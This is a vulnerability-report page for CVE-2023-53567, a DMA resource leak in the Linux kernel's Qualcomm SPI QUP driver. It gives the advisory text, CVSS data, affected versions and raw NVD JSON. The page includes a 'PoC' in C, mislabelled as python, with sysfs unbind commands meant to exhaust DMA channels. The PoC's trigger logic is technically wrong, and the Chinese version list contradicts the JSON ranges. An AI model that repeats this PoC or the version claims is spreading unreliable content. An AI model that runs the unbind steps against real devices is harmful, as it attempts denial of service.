Security Vulnerability Report
中文
CVE-2023-53567 CVSS 5.5 MEDIUM

CVE-2023-53567

Published: 2025-10-04 16:15:52
Last Modified: 2026-03-21 00:42:37
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: spi: qup: Don't skip cleanup in remove's error path Returning early in a platform driver's remove callback is wrong. In this case the dma resources are not released in the error path. this is never retried later and so this is a permanent leak. To fix this, only skip hardware disabling if waking the device fails.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux kernel < 6.6(包含spi-qup驱动的主线版本)
Linux kernel 6.6.x(受影响)
Linux kernel 6.1.x LTS(受影响)
Linux kernel 5.15.x LTS(受影响)
Linux kernel 5.10.x LTS(受影响)
Linux kernel 5.4.x LTS(受影响)
所有使用Qualcomm平台且未应用补丁的内核版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2023-53567: Triggering DMA resource leak in SPI QUP driver // This PoC demonstrates how to trigger the vulnerable error path #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <errno.h> // Step 1: Find the SPI QUP device (typically /dev/spidev* on Qualcomm platforms) // The device path may vary based on the platform #define SPI_DEVICE "/dev/spidev0.0" int main(int argc, char *argv[]) { int fd; int ret; printf("[*] CVE-2023-53567 PoC - SPI QUP DMA Resource Leak\n"); printf("[*] Attempting to trigger vulnerable remove path\n\n"); // Step 2: Open the SPI device to acquire a reference fd = open(SPI_DEVICE, O_RDWR); if (fd < 0) { printf("[-] Cannot open %s: %s\n", SPI_DEVICE, strerror(errno)); printf("[*] This PoC requires a Qualcomm platform with SPI QUP driver\n"); printf("[*] Alternative: Use driver bind/unbind via sysfs\n"); return 1; } printf("[+] Opened SPI device: %s (fd=%d)\n", SPI_DEVICE, fd); // Step 3: Trigger the error path by manipulating device state // Force pm_runtime to fail by putting device into a bad state // This can be done via sysfs: // echo "suspend" > /sys/devices/.../power/control (before close) // Then close the device to trigger remove path // Step 4: Close device to trigger remove callback // If device is in a state where pm_runtime_get_sync fails, // the remove function will skip DMA cleanup -> resource leak printf("[*] Closing device to trigger remove callback...\n"); ret = close(fd); if (ret < 0) { printf("[-] Close failed: %s\n", strerror(errno)); } printf("[*] If the device was in a bad power state, DMA resources are now leaked\n"); printf("[*] Repeat this process to accumulate leaked DMA channels\n"); printf("[*] Check: cat /sys/kernel/debug/dmaengine/dma-channel-list\n"); return 0; } /* * Alternative trigger method via sysfs (driver bind/unbind): * * # Find the SPI QUP platform device * ls /sys/bus/platform/drivers/spi_qup/ * * # Bind the device first (if not already bound) * echo "<device_name>" > /sys/bus/platform/drivers/spi_qup/bind * * # Force device into runtime suspend failure state * echo "disabled" > /sys/devices/.../spi_qup/power/runtime_status * * # Unbind to trigger remove with error path * echo "<device_name>" > /sys/bus/platform/drivers/spi_qup/unbind * * # Check for leaked DMA channels * cat /sys/kernel/debug/dmaengine/dma-channel-list * * Note: The actual exploitability depends on the specific kernel version * and platform configuration. This PoC is for educational/research purposes only. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53567", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:52.223", "lastModified": "2026-03-21T00:42:36.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: qup: Don't skip cleanup in remove's error path\n\nReturning early in a platform driver's remove callback is wrong. In this\ncase the dma resources are not released in the error path. this is never\nretried later and so this is a permanent leak. To fix this, only skip\nhardware disabling if waking the device fails."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15", "versionEndExcluding": "4.19.283", "matchCriteriaId": "5CE6CCAC-3F8E-485E-98DE-F96BA6043641"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.243", "matchCriteriaId": "E54ACEF5-C8C1-4266-85FC-7D513FFD1DEC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.180", "matchCriteriaId": "78422AC3-CC89-479E-B4BC-62381D8F3564"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.111", "matchCriteriaId": "2B9DD776-7F17-4F72-B94F-54BFCBC692DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.28", "matchCriteriaId": "08F855F4-7188-4EE1-BD79-D4B6C7E2EF54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.15", "matchCriteriaId": "3844A90B-940D-46C3-8D7B-9FF63F1AFC2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.2", "matchCriteriaId": "38F6F330-91A0-4675-8B90-6F950471A7CC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2d0f63077f481f11a07f20eab1c1f4367dfaef32", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/49c17fccae36505550c9121891722fff337f148a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/55ecdcd12bc176b86fecbcb125ac814ac8fe857a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/61f49171a43ab1f80c73c5c88c508770c461e0f2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8632384337038b97910c2f7bb5a3f377aa68d001", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bc88243bbe6140d289bb32b4ee4607ba5ce1124a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f345d4d71e87d878437417ffbb9a7d4e16d235eb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fd53f41bd86daa39b454fd4637a908ff2123547f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}